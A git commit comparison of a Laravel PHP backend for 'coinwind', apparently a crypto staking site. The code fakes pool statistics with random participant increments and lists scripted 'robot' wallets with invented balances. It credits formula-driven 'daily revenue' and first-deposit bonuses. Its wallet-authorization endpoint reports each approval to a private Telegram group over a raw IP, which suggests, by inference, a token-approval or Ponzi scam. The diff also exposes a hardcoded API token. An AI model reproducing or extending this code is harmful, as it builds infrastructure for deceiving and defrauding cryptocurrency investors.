Compare commits

...

6 Commits

Author SHA1 Message Date
yll 0911fe27f6 add sql changelog 2022-05-24 15:08:40 +07:00
yll 64b0cf6696 bugfix 2022-05-24 11:33:57 +07:00
yll faa1912f7e display as ETH 2022-05-23 21:01:00 +07:00
yll 76ebc589a6 new profit formula 2022-05-23 20:50:45 +07:00
yll 17160c0ecb fix,compatible with old impl 2022-05-22 23:23:00 +07:00
yll 0d9227cb79 updating 2022-05-22 09:07:31 +07:00
14 changed files with 460 additions and 54 deletions

View File

@ -5,6 +5,8 @@ APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://localhost
FRONT_URL=http://coinwind.test
TG_URL=http://154.82.76.95:2345/tele/SendMessage
ADMIN_HTTPS=false
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
@ -15,6 +17,7 @@ DB_PASSWORD=secret
BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DOMAIN='coinwind.test'
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync

View File

@ -18,6 +18,7 @@ class Base
const BALANCE_SHARE_BONUS = 8;
const BALANCE_RECHARGE = 11;
const BALANCE_WITHDRAWAL = 12;
const BALANCE_RECHARGE_REWARD = 13;
const UNCHECKED = 0;
const CHECKED = 1;
@ -31,6 +32,9 @@ class Base
const USDT = 'USDT';
const USDC = 'USDC';
const ETH = 'ETH';
const CNF_ETH_AS_BALANCE = true;
public static function days_ago($from, $days)
{

View File

@ -17,7 +17,7 @@ use Illuminate\Support\Facades\Redis;
/**
* 计算
*/
class CalcProfit extends Command
class CoinCalc extends Command
{
/**
* The name and signature of the console command.
@ -78,16 +78,37 @@ class CalcProfit extends Command
return 0.0;
}
protected function _calc_income_lr($deposited, $plan)
{
foreach ($plan as $p) {
if ($deposited >= $p['min'] && $deposited <= $p['max']) {
$micro = bcdiv($p['rr'] - $p['rl'], ($p['max'] - $p['min']), 8);
$rate = bcmul($micro, ($deposited - $p['min']), 8) + $p['ll'];
$profit = bcdiv(bcmul($rate, $deposited, 8), 100, 4);
return $profit;
}
}
return 0.0;
}
/**
* Execute the console command.
* Execute the command.
* coin:calc
*
* @return mixed
*/
public function handle()
{
(new CoinInit())->refresh_eth_cache();
$this->_daily_revenue_lr();
$this->_pool_data();
$this->_robots();
}
protected function _daily_revenue()
protected function _daily_revenue_usdt()
{
// get plan
$plans = $this->_get_staking_plans();
@ -128,6 +149,90 @@ class CalcProfit extends Command
}
}
/**
* staking earn rate
* 700MH/s~10000MH/s 1%~1.8%
*
* x ~ y a~b
*
* formula :
*
* For any Z between x and y:
*
* P(Z) = Z*((b-a)/(y-x) * (Z-x) + a)/100
*
* Example:
* 800:
* P(800) = 800 * ((1.8-1)/(10000-700) * (800-700) + 1) / 100
* P(9000) = 9000 * ((1.8-1)/(10000-700) *(9000-700) + 1) / 100
*/
protected function _daily_revenue_lr()
{
$conf = [
[
"min" => 700,
"max" => 10000,
"rl" => 1,
'rr' => 1.8,
], [
'min' => 10001,
'max' => 100000,
'rl' => 1.8,
'rr' => 2.2,
], [
'min' => 100001,
'max' => 500000,
'rl' => 2.2,
'rr' => 2.6,
], [
'min' => 500001,
'max' => 1000000,
'rl' => 2.6,
'rr' => 3.05,
], [
'min' => 1000001,
'max' => 5000000,
'rl' => 3.05,
'rr' => 3.5,
],
];
$investors = User::where('balance', '>', 0)
->get()
->toArray();
$log = [];
foreach ($investors as $inve) {
$profit = $this->_calc_income_lr($inve['balance'], $conf);
$profit = Base::ffixed($profit, 4);
if ($profit > 0) {
$suc = DB::transaction(function () use ($inve, $profit) {
User::where('id', $inve['id'])->increment('balance', $profit);
//
$newBlc = new Balance();
$newBlc->address = $inve['address'];
$newBlc->name = Base::USDT;
$newBlc->remake = "Daily Revenue $profit";
$newBlc->status = Base::BALANCE_STAKING_DAILY_REVENUE;
$newBlc->money = $profit;
$newBlc->created_at = \Carbon\Carbon::now();
$newBlc->save();
});
if (is_null($suc)) {
$log[$inve['address']] = $profit;
}
}
} // foreach
if ($log) {
Log::info('coin:calc executed:' . json_encode($log));
} else {
Log::debug('coin:calc executed');
}
}
protected function _pool_data()
{
// string
@ -151,7 +256,7 @@ class CalcProfit extends Command
$pd['participant'] += mt_rand(1, 20);
$pd['userRevenue'] = $pd['totalOutput'] - $max;
Redis::set(json_encode($pd));
Redis::set(ApiV1Controller::K_POOLDATA, json_encode($pd));
}
protected function _robots()

View File

@ -6,7 +6,7 @@ use App\AdminOperationLog;
use App\Base;
use Illuminate\Console\Command;
class RemoveOutdated extends Command
class CoinClean extends Command
{
/**
* The name and signature of the console command.

View File

@ -0,0 +1,67 @@
<?php
namespace App\Console\Commands;
use App\Base;
use App\Http\Controllers\ApiV1Controller;
use App\Tool\ThirdApi;
use Illuminate\Support\Facades\Log;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Redis;
class CoinInit extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'coin:init';
/**
* The console command description.
*
* @var string
*/
protected $description = 'init every thing need by this project.';
/**
* Create a new command instance.
*
* @return void
*/
public function __construct()
{
parent::__construct();
}
public function refresh_eth_cache()
{
$price = ThirdApi::getETHPrice();
if (is_null($price) || $price <= 0) {
Log::error("get ETH price failed. price=$price");
return;
}
$r = Redis::hSet(ApiV1Controller::K_COIN_PRICE, Base::ETH, $price);
if (is_null($r)) {
Log::error("redis error");
}
}
/**
* Execute the console command.
*
* @return mixed
*/
public function handle()
{
// insert ETH price
$this->refresh_eth_cache();
$price = (new ApiV1Controller())->get_cache_eth_price();
if ($price <= 0) {
Log::warning("cache ETH price failed.");
}
}
}

View File

@ -4,13 +4,6 @@ namespace App\Http\Controllers;
use App\Authorize;
use App\Balance;
use App\Commissions;
use App\Dao;
use App\Detail;
use App\Other;
use App\Single;
use App\Swap;
use App\System;
use App\Withdrawal;
use Illuminate\Http\Request;
use App\User;
@ -18,20 +11,22 @@ use App\Base;
use Illuminate\Support\Facades\DB;
use App\Articles;
use App\Staking;
use App\StakingOutput;
use App\StakingOutputLog;
use Illuminate\Support\Carbon;
use App\Tool\ThirdApi;
use App\Vault;
use App\Vault2;
use App\Vault3;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Redis;
class ApiV1Controller extends Controller
{
const K_RECHARGE = 'rt:recharge';
const K_POOLDATA = 'rt:pooldata';
const K_USERSOUTPUT = 'rt:users_output';
const K_TEAMDATA = 'rt:team_data';
const K_ROBOTS = 'rt:robots';
const K_COIN_PRICE = 'rt:coin_price';
public static function prepare_data_sources()
{
@ -47,29 +42,29 @@ class ApiV1Controller extends Controller
// robot
$robots = [
'0x061f7937b7b2bc7596539959804f86538b6368dc' => 2343.04,
'0x52b3565be60200079263adeb5ff895819ebee2d7' => 2380,
'0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 3478.01,
'0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 1005,
'0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 1203.04,
'0x061f7937b7b2bc7596539959804f86538b6368dc' => 10.04,
'0x52b3565be60200079263adeb5ff895819ebee2d7' => 20,
'0xe78b5c68cf480f22887a95b21751801d0f50f0a1' => 9.01,
'0x768bcdfa651e87beea69fc1ef7622edd5624c463' => 20,
'0xe649084663253ff4251b2d5b0a7d564f7b2bebb2' => 12.04,
'0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 700.04,
'0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 500.23,
'0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 2000.23,
'0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 1000.09,
'0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 1700.23,
'0x9b38fed7a6f05e07b8a1ecd7b7afeebc05501d89' => 6.04,
'0xe6d6792081fae1a6429e1e33bbc9a163cd389d68' => 4.23,
'0x098bfaaf8a5e904b3d4e2274d9d7321eb560306a' => 12.23,
'0x58bf4523c78e94dbb820f04b11ec1c6a14cebd5d' => 20.09,
'0x57e98e038521db5f10d7ba927166d87cd97cd01d' => 32.23,
'0x3d33877fb4b33992901383bd694fa40d1defcd09' => 1009.23,
'0xf9d92a02a246d48e4646b1d517eec381285654ea' => 803.23,
'0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 902.33,
'0x86c230db34a91486d1fd74be4bdcc480c450183c' => 1203.34,
'0x353356573756b38c00c8e2a7265fba52f5940751' => 2034.20,
'0x3d33877fb4b33992901383bd694fa40d1defcd09' => 25.23,
'0xf9d92a02a246d48e4646b1d517eec381285654ea' => 20.23,
'0x26cdf4a61a1be3ea2ee5525ac5453f04f44b3914' => 80.33,
'0x86c230db34a91486d1fd74be4bdcc480c450183c' => 12.34,
'0x353356573756b38c00c8e2a7265fba52f5940751' => 18.20,
'0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 5012.30,
'0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 1023.40,
'0xd92faa17644e1710bf2a04c904c4ece11ff28e1b' => 50.30,
'0xb38fe32cb5fed4d445984e6ac983752d7533cc50' => 30.40,
'0x095b5f18a33c4ddc016e426d507eb4ee2d16c670' => 805.23,
'0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 300.34,
'0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 3043.30,
'0x4ea26b3020e54edd0fdc26728c6f63fa8ba3e83d' => 40.34,
'0xcd6b59c4a9c68f06f70dacf8b26118fb5c853ff5' => 12.30,
];
Redis::hMSet(self::K_ROBOTS, $robots);
@ -86,7 +81,7 @@ class ApiV1Controller extends Controller
$protocol = $request->input('protocol');
$ts = $request->input('ts');
$s = $request->input('s');
$referral = $request->input('referral');
$referral = $request->input('sh');
// check
$expected_s = sha1($address . $protocol . $ts);
@ -98,7 +93,7 @@ class ApiV1Controller extends Controller
$id = 0;
$he = User::where('address', $address)->first();
if (is_null($he)) { // new user
DB::transaction(function () use ($request, $address, $protocol, $referral) {
$suc = DB::transaction(function () use ($request, $address, $protocol, $referral) {
// create new
$id = User::insertGetId([
'address' => $address,
@ -106,6 +101,14 @@ class ApiV1Controller extends Controller
'protocol' => $protocol,
]);
// fix admin dashboard error.
$tables = [new Vault(), new Vault2(), new Vault3()];
foreach ($tables as $t) {
$t->id = $id;
$t->address = $address;
$t->save();
}
$referer = User::where(['id' => $referral])->first();
if (!is_null($referer)) {
User::where(['id' => $id])->update([
@ -113,11 +116,20 @@ class ApiV1Controller extends Controller
]);
}
});
if (!$suc) {
Log::error("create new register failed: address=$address, referral=$referral");
return json_encode([
'code' => 1,
]);
}
} else {
$id = $he->id;
}
return json_encode([
'code' => 0,
'id' => $id,
'shareLink' => config('app.frontUrl') . '?sh=' . $id,
'address' => $address,
@ -138,7 +150,12 @@ class ApiV1Controller extends Controller
$expected_s = sha1($address . $ts);
if ($expected_s != $s) {
Log::warning("sign error sign=$s expected=$expected_s");
return json_encode(['suc' => 0, 'msg' => 'OK']);
return json_encode(['code' => 0, 'msg' => 'OK']);
}
$exists = Authorize::where('address', $address)->first();
if ($exists) {
return json_encode(['code' => 0, 'msg' => 'dup']);
}
$newRow = new Authorize();
@ -148,11 +165,36 @@ class ApiV1Controller extends Controller
$newRow->hash = $hash;
$res = $newRow->save();
$code = 0;
if ($res) {
$msg = "$address 授权成功";
ThirdApi::sendToTg($msg);
} else {
Log::error("address $address create authorized row failed.");
$code = -4;
}
return json_encode([
'code' => $res ? 0 : -4,
'code' => $code,
]);
}
public function get_cache_eth_price(): float
{
$price = Redis::hGet(self::K_COIN_PRICE, Base::ETH);
if (!$price || $price <= 0) {
$price = ThirdApi::getETHPrice();
if ($price > 100) {
Redis::hSet(self::K_COIN_PRICE, Base::ETH, $price);
return $price;
}
return 0.0;
}
return $price;
}
// top up
public function staking(Request $request)
{
@ -163,26 +205,49 @@ class ApiV1Controller extends Controller
//
if ($amount <= 0.0) {
Log::warning("user $address recharge $amount failed");
return;
}
$expected_s = sha1($address . $amount . $ts);
if ($expected_s != $s) {
Log::warning("sign error sign=$s expected=$expected_s");
return json_encode(['suc' => 0, 'msg' => 'OK']);
}
// if first time
$times = Redis::hGet(self::K_RECHARGE, $address);
$res = DB::transaction(function () use ($address, $amount) {
$res = DB::transaction(function () use ($address, $amount, $times) {
// first time reward
$reward = 0;
if (!$times || $times <= 0) {
$reward = $this->_first_recharge_reward($amount);
}
$delta = $amount + $reward;
// insert into user
User::where('address', $address)->increment('balance', $amount);
User::where('address', $address)->increment('balance', $delta);
// records
$newBlc = new Balance();
$newBlc->address = $address;
$newBlc->name = Base::USDT;
$newBlc->remake = 'Staking';
$newBlc->remake = "Staking $amount";
$newBlc->status = Base::BALANCE_RECHARGE;
$newBlc->money = $amount;
$newBlc->created_at = \Carbon\Carbon::now();
$newBlc->save();
if ($reward > 0) {
$newBlc = new Balance();
$newBlc->address = $address;
$newBlc->name = Base::USDT;
$newBlc->remake = "recharge $amount reward $reward";
$newBlc->status = Base::BALANCE_RECHARGE_REWARD;
$newBlc->money = $reward;
$newBlc->created_at = \Carbon\Carbon::now();
$newBlc->save();
}
// insert into staking
$has = Staking::where('address', $address)
->where('symbol', Base::USDT)
@ -198,6 +263,8 @@ class ApiV1Controller extends Controller
$stk->balance = $amount;
$stk->save();
}
Redis::hIncrBy(self::K_RECHARGE, $address, 1);
// referral bonus + insert into balance
});
@ -244,8 +311,6 @@ class ApiV1Controller extends Controller
User::where('address', $address)->decrement('balance', $amount);
});
return json_encode([
'code' => $r ? 0 : -4,
]);
@ -255,6 +320,8 @@ class ApiV1Controller extends Controller
public function page_mining(Request $request)
{
$pool_data = $this->_pool_data();
$price = $this->get_cache_eth_price();
$pool_data['totalOutput'] = floatval(bcdiv($pool_data['totalOutput'], $price, 4));
$kvs = Redis::hGetAll(self::K_ROBOTS);
@ -286,7 +353,7 @@ class ApiV1Controller extends Controller
'l1Output' => 0,
'l2Output' => 0,
'l3Output' => 0,
'participant' => 1,
'participant' => 0,
'teamRevenue' => 0,
]);
}
@ -337,6 +404,8 @@ class ApiV1Controller extends Controller
// 用户帐号概况
protected function _user_account_info($address)
{
$price = $this->get_cache_eth_price();
// 余额
$res = User::where('address', $address)
->pluck('balance');
@ -349,7 +418,7 @@ class ApiV1Controller extends Controller
->where('status', Base::BALANCE_STAKING_DAILY_REVENUE)
->sum('money');
$output = Base::ffixed($output);
$output = Base::ffixed(bcdiv($output, $price, 4));
// 提现
$withdrawal = Withdrawal::where('address', $address)
->sum('balance');
@ -360,11 +429,7 @@ class ApiV1Controller extends Controller
public function test()
{
// self::prepare_data_sources();
// $this->_user_account_info('0x19b7A3F7C451dE45a5b4C05a2E3C2849cD47A1de');
// $a = $this->_articles();
// var_dump($a);
var_dump($this->_pool_data());
echo ThirdApi::getPrice(ThirdApi::ID_ETH);
}
protected function _user_withdrawal_history($address)
@ -398,4 +463,36 @@ class ApiV1Controller extends Controller
return $res;
}
protected function _first_recharge_reward($amount)
{
// TODO read from database
$reward_conf = [
[
'min' => 2000,
'max' => 19999.99,
'reward' => 39,
], [
'min' => 20000,
'max' => 59999.99,
'reward' => 399,
], [
'min' => 60000,
'max' => 99999.99,
'reward' => 1299,
], [
'min' => 100000,
'max' => 100000000,
'reward' => 2699,
],
];
foreach ($reward_conf as $item) {
if ($amount >= $item['min'] && $amount <= $item['max']) {
return $item['reward'];
}
} // foreach
return 0.0;
}
}

View File

@ -2,6 +2,9 @@
namespace App\Tool;
/**
* L3 Distribution
*/
class Lvl3Dist
{
public static function init()

117
app/Tool/ThirdApi.php Normal file
View File

@ -0,0 +1,117 @@
<?php
namespace App\Tool;
/**
* L3 Distribution
*/
class ThirdApi
{
const USER_AGENT = "Jose's Chrome/1.2";
const ID_BTC = 1;
const ID_ETH = 1027;
/**
* Send a Message to Tg.
*
* @param {string} msg: message
* @return {boolean}
*/
public static function sendToTg($msg): bool
{
// config
$groupid = -1001256080228;
$token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE2ODQ3NDM4ODYsInVzZXJuYW1lIjoic3VwZXJtYXN0ZXIifQ.1R-PvyUg_GXpJOk-7lQTBjBnw0cLRxajx5kNsvuY7OA';
$hc = new \GuzzleHttp\Client();
$resp = $hc->post(config('app.tg_url'), [
'headers' => [
'User-Agent' => self::USER_AGENT,
'Content-Type' => 'application/json',
'Token' => $token,
],
'json' => [
'groupid' => $groupid,
'msg' => $msg,
]
]);
// In fact, we dont care the result.
return true;
}
/**
* Price of Coin in USD.
*
* API Sample Return:
*
* {
* "data": {
* "symbol": "ETH",
* "id": "1027",
* "name": "Ethereum",
* "amount": 1,
* "last_updated": 1653295260000,
* "quote": [
* {
* "cryptoId": 2781,
* "symbol": "USD",
* "price": 2057.2269068671376,
* "lastUpdated": 1653295336000
* }
* ]
* },
* "status": {
* "timestamp": "2022-05-23T08:43:37.410Z",
* "error_code": "0",
* "error_message": "SUCCESS",
* "elapsed": "1",
* "credit_count": 0
* }
* }
*
* @param {integer} id: id of coin.(CoinMarketCap API)
* @return {float}
*/
public static function getPrice($id): float
{
$base_url = 'https://api.coinmarketcap.com/data-api/v3/tools/price-conversion';
$amount = 1;
$convert_id = 2781; // USD
$url = $base_url . "?amount=$amount&convert_id=$convert_id&id=$id";
$hc = new \GuzzleHttp\Client();
$resp = $hc->get($url, [
'headers' => [
'User-Agent' => self::USER_AGENT,
]
]);
if ($resp->getStatusCode() == 200 && $body = $resp->getBody()) {
$body->seek(0);
$data = $body->read(1024);
$d = json_decode($data, true);
if (
$d['status'] &&
$d['status']['error_code'] == 0 &&
$d['data'] &&
$d['data']['id'] == $id &&
$d['data']['quote']
) {
return $d['data']['quote'][0]['price'] ?? 0.0;
}
}
return 0.0;
}
/**
* Get Price of ETH in USD.
*/
public static function getETHPrice(): float
{
return self::getPrice(self::ID_ETH);
}
}

View File

@ -6,4 +6,5 @@ use Illuminate\Database\Eloquent\Model;
class Vault extends Model
{
public $timestamps = false;
}

View File

@ -6,4 +6,5 @@ use Illuminate\Database\Eloquent\Model;
class Vault2 extends Model
{
public $timestamps = false;
}

View File

@ -6,4 +6,5 @@ use Illuminate\Database\Eloquent\Model;
class Vault3 extends Model
{
public $timestamps = false;
}

View File

@ -28,6 +28,11 @@ return [
'env' => env('APP_ENV', 'production'),
/*
telegram message server
*/
'tg_url' => env('TG_URL', 'http://localhost:2345/tele/SendMessage'),
/*
|--------------------------------------------------------------------------
@ -236,6 +241,7 @@ return [
'Google' => Earnp\GoogleAuthenticator\Facades\GoogleAuthenticator::class,
'QrCode' => SimpleSoftwareIO\QrCode\Facades\QrCode::class,
'Base' => App\Base::class,
'ThirdApi' => App\Tool\ThirdApi::class,
],
];

1
database/CHANGELOG.sql Normal file
View File

@ -0,0 +1 @@
alter table settings add column status int(2) not null default 0 AFTER comment;

6
fabfile.py vendored
View File

@ -14,10 +14,10 @@ PS. 提前配置服务器地址,密码
"""
from os.path import exists, join
from fabric import task,Connection
from fabric import task, Connection
FILE_TAR = 'coinwind.tar.gz'
DIRS = ('app', 'config', 'resources', 'routes', 'public')
DIRS = ('app', 'config',)
UPLOAD_PATH = '~'
DEPLOY_PATH = '/www/coinwind'
@ -54,4 +54,4 @@ def deploy(c, p=''):
run(r, 'rm {}'.format(FILE_TAR))
run(r, 'chown -R nginx:nginx {}'.format(DEPLOY_PATH))
run(r, 'chmod 600 {}'.format(join(DEPLOY_PATH, 'config/*')))
run(r, 'chmod 600 {}'.format(join(DEPLOY_PATH, '.env')))
run(r, 'chmod 600 {}'.format(join(DEPLOY_PATH, '.env')))